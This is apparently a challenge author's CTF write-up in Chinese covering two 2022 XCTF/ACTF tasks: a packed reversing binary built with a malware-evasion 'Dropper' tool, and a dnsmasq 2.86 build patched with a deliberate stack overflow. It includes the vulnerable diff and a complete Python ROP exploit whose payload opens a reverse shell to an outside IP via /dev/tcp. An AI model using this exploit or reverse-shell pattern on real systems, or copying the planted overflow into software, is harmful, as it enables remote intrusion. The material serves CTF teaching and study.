作者:旺小旺大_693 | 来源:互联网 | 2023-09-13 09:25
前序
在xctf分站赛中出了两道题,分别是dropper和master_of_dns,两道题都偏简单一点,dropper解题31个队,master_of_dns解题三个队,可能是第二天放题的缘故。
出题思路
出题源码 自己的题解:https://github.com/zdy/ACTF2022-problem 官方题解:https://github.com/team-s2/ACTF-2022
dropper 使用这个工具Dropper在外面加一层壳,这个方法是绕恶意软件检测模型提出的, 使用异常处理更改代码执行路径(使用异常处理进行虚函数表hook),真实软件是c++面向对象的flag加密代码(使用了大数运算) 考点总结 :upx壳+dropper+大数运算+异常处理+虚函数表hook
master_of_dns 使用dnsmasq软件,patch dns域名解析的位置,设置一个栈溢出漏洞(源码修改的非常少),因为是栈溢出,所以利用方法也很多,这里也加了些东西干扰diff 考点总结 :dns协议 + dns域名指针的用处 + diff找出漏洞
题解
dropper 使用upx加壳工具脱掉壳,如果不能运行,关掉文件的aslr标志位,关闭DYNAMIC_BASE 通过dropper搜索相关含义,找到从资源区获取数据并加密的代码,如果可以找到https://github.com/marcusbotacin/Dropper, 那基本离解题更进一步没找到运行PE文件的函数交叉引用,猜测是使用了GetProcAddress,利用交叉引用找到对应地方静态分析找到,或者动态跟踪找到对应的数据,分析解密,写脚本将数据解密,生成真正的可执行文件 动态调试跟踪,可以跟踪到加密和验证的所有过程,并不复杂,这里只是加了反静态分析的方法,利用简单的除0进行异常捕捉进行虚函数表hook,使得静态分析失效可以输入flag后,对text区下断点,获得处理逻辑地址,在IDA中找到之后,设置断点,进行跟踪猜测生成的大数是如何存储的,动态调试找到存储数据的地址空间,并尝试将十六进制转换为十进制,可以看到十进制只以十六进制存储。 根据IDA的string,发现BASE64的字符串表,根据交叉引用,找到真正的加密判断地址 也可以使用动态调试,打开文件,运行到“flag:”,停止当前进程,然后附加到被创建的子进程,就可以动态调试被生成的子进程。 解密代码 import base64 res = 834572051814337070469744559761199605121805728622619480039894407167152612470842477813941120780374570205930952883661000998715107231695919001238818879944773516507366865633886966330912156402063735306303966193481658066437563587241718036562480496368592194719092339868512773222711600878782903109949779245500098606570248830570792028831133949440164219842871034275938433 res = res + 57705573952449699620072104055030025886984180500734382250587152417040141679598894 res = res - 71119332457202863671922045224905384620742912949065190274173724688764272313900465 res = res + 55079029772840138145785005601340325789675668817561045403173659223377346727295749 res = res - 14385283226689171523445844388769467232023411467394422980403729848631619308579599 res = res + 80793226935699295824618519685638809874579343342564712419235587177713165502121664 res = res // 7537302706582391238853817483600228733479333152488218477840149847189049516952787 res = res - 17867047589171477574847737912328753108849304549280205992204587760361310317983607 res = res + 55440851777679184418972581091796582321001517732868509947716453414109025036506793 res = res // 11783410410469738048283152171898507679537812634841032055361622989575562121323526 res = res - 64584540291872516627894939590684951703479643371381420434698676192916126802789388 s = '' while res: s += chr ( res % 128 ) res = res // 128 print ( base64. b64decode( s) )
master_of_dns fuzz或者diff找到漏洞,构造漏洞,只在两个地方进行了修改(改动非常小),去除了dnsmasq明显的特征,以及新增几个干扰diff的函数去掉tcp_request,关闭tcp查询,因为使用tcp协议就不用域名指针也可以触发漏洞 新增栈溢出 diff - - color - Naur dnsmasq- 2.86 / src/ dnsmasq. c dnsmasq- 2.86 - patch/ src/ dnsmasq. c- - - dnsmasq- 2.86 / src/ dnsmasq. c 2021 - 09 - 09 04 : 21 : 22.000000000 + 0800 + + + dnsmasq- 2.86 - patch/ src/ dnsmasq. c 2022 - 03 - 18 16 : 02 : 32.425548837 + 0800 @@ - 1986 , 13 + 1986 , 14 @@ if ( ( flags = fcntl( confd, F_GETFL, 0 ) ) != - 1 ) fcntl( confd, F_SETFL, flags & ~ O_NONBLOCK) ; - buff = tcp_request( confd, now, & tcp_addr, netmask, auth_dns) ; + // 关闭tcp查询+ // buff = tcp_request( confd, now, & tcp_addr, netmask, auth_dns) ; shutdown( confd, SHUT_RDWR) ; close( confd) ; - if ( buff) - free( buff) ; + // if ( buff) + // free( buff) ; for ( s = daemon- > servers; s; s = s- > next ) if ( s- > tcpfd != - 1 ) diff - - color - Naur dnsmasq- 2.86 / src/ rfc1035. c dnsmasq- 2.86 - patch/ src/ rfc1035. c- - - dnsmasq- 2.86 / src/ rfc1035. c 2021 - 09 - 09 04 : 21 : 22.000000000 + 0800 + + + dnsmasq- 2.86 - patch/ src/ rfc1035. c 2022 - 03 - 19 16 : 37 : 28.636136647 + 0800 @@ - 19 , 9 + 19 , 11 @@ int extract_name( struct dns_header * header, size_t plen, unsigned char ** pp, char * name, int isExtract, int extrabytes) { + // 这里根据exp的构造调整一下 unsigned char * cp = ( unsigned char * ) name, * p = * pp, * p1 = NULL; - unsigned int j, l, namelen = 0 , hops = 0 ; + unsigned int j, l, namelen = 0 , hops = 0 ; int retvalue = 1 ; + unsigned char vul[ 848 ] ; if ( isExtract) * cp = 0 ; @@ - 54 , 6 + 56 , 7 @@ else * pp = p; + memcpy( vul, name, namelen) ; return retvalue; }
根据漏洞构造poc,利用域名指针构造长度大于848长度的域名触发漏洞 栈溢出漏洞,使用popen函数执行反弹shel这里并不是任意长度溢出(点之间最大长度为0x3f),而且域名内不能有\x00和\x2e,最大溢出长度为123个字节 一些利用方法的限制mprotect打开可执行权限,写入shellcode,显然溢出长度不够支撑做这些 orw出flag,参数里会出现\x00字节,也不可行 使用execl函数反弹shell,但是最后一个必须是\x00,除非正好栈布局最后一个是\x00,也可以使用int 80来实现,可能123个字节有点不够用 预期利用方式使用popen函数进行反弹shell,这里只需要两个参数,一个要执行的命令,另一个是操作类型,读或者写,类似popen(char *cmd, char *type) 当然这个题也比较开放,可以有多种的getshell方式(大佬说不定会有其他更好的利用方法),目前有一个:https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/29/dns/ 利用代码: import socketimport osimport argparseimport randomimport stringfrom pwn import * context. arch= 'i386' client = socket. socket( socket. AF_INET, socket. SOCK_DGRAM) def genRandom ( num, slen) : unique_strings = [ ] while len ( unique_strings) < num: ustring = '' . join( random. choice( string. ascii_lowercase + string. ascii_lowercase + string. digits) for i in range ( slen) ) if ustring not in unique_strings: unique_strings. append( ustring) return unique_stringsdef dnsquery ( ip, port) : query = os. urandom( 2 ) query += b'\x01\x00' query += b'\x00\x01' query += b'\x00\x00' query += b'\x00\x00' query += b'\x00\x00' payload = b'\x3f' * 0x40 for i in range ( 13 ) : payload += b'\xc0' payload += bytes ( [ 0xe + i * 2 ] ) payload += b'\x3d' payload += b'\x41\x41\x41\x41\x41' popen_addr = 0x804ab40 exit_addr = 0x804ad30 nop_2e_addr = 0x0804A92E pop_eax_addr = 0x08059d44 w_str_addr = 0x080A6660 update_addr = 0x0804B2B1 bss_addr = 0x80a7070 shell = b'/bin/sh -i >& /dev/tcp/59.63.224.105/9 0>&1' . ljust( 44 , b'\x00' ) value = [ ] for i in range ( 0 , len ( shell) , 4 ) : value. append( u32( shell[ i: ( i + 4 ) ] ) ) print ( len ( value) ) payload += flat( [ pop_eax_addr, bss_addr] ) for i in range ( 6 ) : payload += flat( [ update_addr, value[ i] ^ 0xffffffff ] ) payload += b'\x3f' payload += b'\xa9\x04\x08' for i in range ( 6 , 11 ) : payload += flat( [ update_addr, value[ i] ^ 0xffffffff ] ) payload += flat( [ popen_addr, exit_addr, bss_addr + 0x4 , w_str_addr] ) payload += b'\x41\x41\x41\x41' payload += b'\x00' print ( payload) query += payload query += b'\x00\x01' query += b'\x00\x01' client. sendto( query, ( ip, int ( port) ) ) data, server_addr = client. recvfrom( 1024 ) print ( data) def main ( ) : parser = argparse. ArgumentParser( ) parser. add_argument( '-ip' , help = 'ip address' , required= True ) parser. add_argument( '-port' , help = 'port' , required= True ) args = parser. parse_args( ) ip = args. ip port = args. port dnsquery( ip, port) if __name__ == '__main__' : main( )
总结
此次出题花费了两周时间,从出题的角度感受了下,最后大家做的时候,感觉还是不错的,达到预期了吧,dropper没有被很多人解出来,也起到了签到的目的。